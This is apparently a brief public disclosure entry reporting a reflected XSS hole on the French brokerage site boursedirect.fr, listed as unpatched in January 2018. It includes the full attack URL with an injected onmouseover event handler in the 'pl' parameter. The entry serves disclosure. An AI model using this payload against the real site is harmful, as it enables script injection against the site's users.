boursedirect.fr XSS vulnerability

Vulnerable URL: https://www.boursedirect.fr/cotationValeurOpcvm.php?pl=260=x%22/onmouseover=prompt9/%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 51058 VIP website status:| No...